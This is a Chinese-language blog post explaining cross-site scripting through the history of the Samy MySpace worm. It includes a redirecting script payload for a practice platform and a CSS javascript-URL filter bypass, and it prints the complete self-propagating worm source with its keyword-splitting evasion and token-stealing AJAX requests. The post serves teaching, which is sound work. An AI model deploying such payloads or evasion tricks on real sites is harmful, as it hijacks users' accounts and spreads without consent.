Loading...
墨滴

2021/03/07  阅读:14  主题:萌绿

一个叫

背景

几行代码让他增粉 100W 最后入狱,他就是著名 Samy 蠕虫病毒的作者 Samy Kamkar,通过 Samy 蠕虫成功为自己新增 100W 粉丝最后入狱。这也是一个里程碑,世界上第一只 “Web 蠕虫”诞生。那么我们今天要聊的就是如何从技术的角度理解他是如何做到的。

原理

首先我们讲一下他的 Samy 蠕虫的原理。这要从 MySpace.com 开始说起,这是一个社交网站,和 FB,Twitter 等类似,所以也有好友、个人档案等。蠕虫作者写了一个脚本放到了自己的个人档案页面,当个人档案页面被浏览时候,就会自动激活代码,把当前浏览者添加到自己的好友列表,同时把脚本拷贝到浏览者的个人档案页面,这样蠕虫会继续裂变传播下去。

猎奇心理让我们继续深究,是什么技术居然可以这样?这就是注明的 XSS。XSS 全称“Cross Site Scripting”,跨站脚本攻击,其实应该叫做 CSS 对吧?主要是担心和样式表混淆,所以缩写 XSS。

XSS

XSS 是最普遍的 WEB 应用安全漏洞,尤其是微博、博客、社交平台等,攻击者个人公开页面编辑脚本,存入了 XSS 代码,网站没有对 XSS 代码进行很好的检验直接存入数据库最后被渲染到页面上,最后 XSS 代码被自动执行。同时 XSS 也是面试中非常常见的问题,了解里面的原理以后,也是有很大利好的。

XSS 本身分为三种类型

  1. 反射型 XSS ,通过用户输入的数据,反射给浏览器对用户进行攻击,比如盗取用户 Cookie,恶意广告引流。如果你有小网站的浏览经历的话,你应该见过进入页面以后直接弹框,提示你中奖了,点击以后跳转到了广告网站。其实里面的道理非常简单,你可以把如下代码放到你的页面里面试试效果。
<script>
alert("恭喜你中奖,点击领取500万奖金");location.href="https://www.mawen.co"
</script>


最简单的方式就是尽量少点击陌生的网站,如果你想自己亲自体验一下漏洞可以安装一下 bwapp,或者直接使用他的在线版本 http://bwapp.bihuo.cn/,这是一个渗透测试平台,通过右侧的选择可以尝试各种类型的渗透测试。

  1. 存储型 XSS,就是上面我们说的 Samy 蠕虫的使用方案,网站在存储内容时候没有充分对 XSS 进行检验,导致 XSS 脚本存入数据库,等到下次访问数据库渲染到页面的时候,XSS 脚本被支持,导致用户被攻击。

为了更好的理解我们可以使用 bwapp 做一个简单的演示,我们进入存储 XSS 测试地址 http://bwapp.bihuo.cn/xss_stored_1.php,然后输入如下代码,然后点击提交。

<script>
alert("恭喜你中奖,点击领取500万奖金");location.href="https://www.mawen.co"
</script>

这样以后,我们重新刷新页面,每次进来以后都会弹框,点击以后跳转到其他网址了,这就是存储的 XSS

上面的测试是最简单的测试,如果你对这个地方特别有兴趣可以安装一个 BeEF,这是一个非常渗透框架,是 The Browser Exploitation Framework 的简称,使用了 BeEF 的脚本以后你会发现,一个 JS 的脚本引入可以做的事情太多了。BeEF 源码地址 https://github.com/beefproject/beef/。防御存储型的 XSS 可以使用一些 XSS 脚本检测工具,存入数据库的时候做一些转译即可。

  1. DOM 型 XSS,这种类型其实和反射型 XSS 有很多共同点,它的定义主要是在不存在后端服务器的情况下,直接对 DOM 文档的 hack,所以这里就不做过多的解释。

Samy 源码

MySpace过滤了很多危险的HTML标签,只保留了<a>标签、<img>标签、<div>标签等“安全的标签”。所有的事件比如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。比如:

  <div style="background:url('javascript:alert(1)')">

其次,MySpace 同时还过滤了javascript、onreadystatechange等敏感词,所以 Samy 用了“拆分法”绕过这些限制。 最后,Samy通过 AJAX 构造的POST请求,完成了在用户的heros列表里添加自己名字的功能,同时复制蠕虫自身进行传播。下面是全部的蠕虫代码,有兴趣的可以详细看下。

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')"
expr="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
  var C;
  try{
    var D=document.body.createTextRange();
    C=D.htmlText
  }catch(e){
  }

  if(C){
    return C
  }else{
  return eval('document.body.inne'+'rHTML')
  }
}

function getData(AU){
  M=getFromURL(AU,'friendID');
  L=getFromURL(AU,'Mytoken')
}

function getQueryParams(){
  var E=document.location.search;
  var F=E.substring(1,E.length).split('&');
  var AS=new Array();

  for(var O=0;O<F.length;O++){
    var I=F[O].split('=');
    AS[I[0]]=I[1]}return AS
  }

  var J;
  var AS=getQueryParams();
  var L=AS['Mytoken'];
  var M=AS['friendID'];

  if(location.hostname=='profile.myspace.com'){
    document.location='http://www.myspace.com'+location.pathname+location.search
  }else{
    if(!M){
      getData(g())
    }
    main()
  }

  function getClientFID(){
    return findIn(g(),'up_launchIC( '+A,A)
  }

  function nothing(){}

  function paramsToString(AV){
    var N=new String();
    var O=0;
    for(var P in AV){
      if(O>0){
        N+='&'
      }
      var Q=escape(AV[P]);

      while(Q.indexOf('+')!=-1){
        Q=Q.replace('+','%2B')
      }

      while(Q.indexOf('&')!=-1){
        Q=Q.replace('&','%26')
      }

      N+=P+'='+Q;
      O++
    }
    return N
  }
  function httpSend(BH,BI,BJ,BK){
    if(!J){
      return false
    }

    eval('J.onr'+'eadystatechange=BI');

    J.open(BJ,BH,true);

    if(BJ=='POST'){
      J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
      J.setRequestHeader('Content-Length',BK.length)
    }

    J.send(BK);

    return true
  }

  function findIn(BF,BB,BC){
    var R=BF.indexOf(BB)+BB.length;
    var S=BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
  }

  function getHiddenParameter(BF,BG){
    return findIn(BF,'name='+B+BG+B+' value='+B,B)
  }

  function getFromURL(BF,BG){
    var T;
    if(BG=='Mytoken'){
      T=B
    }else{
      T='&'
    }

    var U=BG+'=';
    var V=BF.indexOf(U)+U.length;
    var W=BF.substring(V,V+1024);
    var X=W.indexOf(T);
    var Y=W.substring(0,X);
    return Y
  }

  function getXMLObj(){
    var Z=false;
    if(window.XMLHttpRequest){
      try{
        Z=new XMLHttpRequest()
      }catch(e){
        Z=false
      }
    }else if(window.ActiveXObject){
      try{
        Z=new ActiveXObject('Msxml2.XMLHTTP')
      }catch(e){
        try{
          Z=new ActiveXObject('Microsoft.XMLHTTP')
        }catch(e){
          Z=false
        }
      }
    }
    return Z
  }

  var AA=g();
  var AB=AA.indexOf('m'+'ycode');
  var AC=AA.substring(AB,AB+4096);
  var AD=AC.indexOf('D'+'IV');
  var AE=AC.substring(0,AD);
  var AF;

  if(AE){
    AE=AE.replace('jav'+'a',A+'jav'+'a');
    AE=AE.replace('exp'+'r)','exp'+'r)'+A);
    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
  }

  var AG;

  function getHome(){
    if(J.readyState!=4){
      return
    }

    var AU=J.responseText;
    AG=findIn(AU,'P'+'rofileHeroes','</td>');
    AG=AG.substring(61,AG.length);

    if(AG.indexOf('samy')==-1){
      if(AF){
        AG+=AF;
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['interestLabel']='heroes';
        AS['submit']='Preview';
        AS['interest']=AG;
        J=getXMLObj();
        httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,
'POST',paramsToString(AS))
      }
    }
  }

  function postHero(){
    if(J.readyState!=4){
      return
    }

    var AU=J.responseText;
    var AR=getFromURL(AU,'Mytoken');
    var AS=new Array();
    AS['interestLabel']='heroes';
    AS['submit']='Submit';
    AS['interest']=AG;
    AS['hash']=getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,
'POST',paramsToString(AS))
  }

  function main(){
    var AN=getClientFID();
    var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J=getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2=getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&
Mytoken=' +L,processxForm,'GET')
  }

  function processxForm(){
    if(xmlhttp2.readyState!=4){
    return
  }

  var AU=xmlhttp2.responseText;
  var AQ=getHiddenParameter(AU,'hashcode');
  var AR=getFromURL(AU,'Mytoken');
  var AS=new Array();
  AS['hashcode']=AQ;
  AS['friendID']='11851658';
  AS['submit']='Add to Friends';
  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,
'POST',paramsToString(AS))
}

function httpSend2(BH,BI,BJ,BK){
  if(!xmlhttp2){
    return false
  }

  eval('xmlhttp2.onr'+'eadystatechange=BI');
  xmlhttp2.open(BJ,BH,true);

  if(BJ=='POST'){
    xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length',BK.length)}
    xmlhttp2.send(BK);
    return true
  }"
>

</DIV>

2021/03/07  阅读:14  主题:萌绿

作者介绍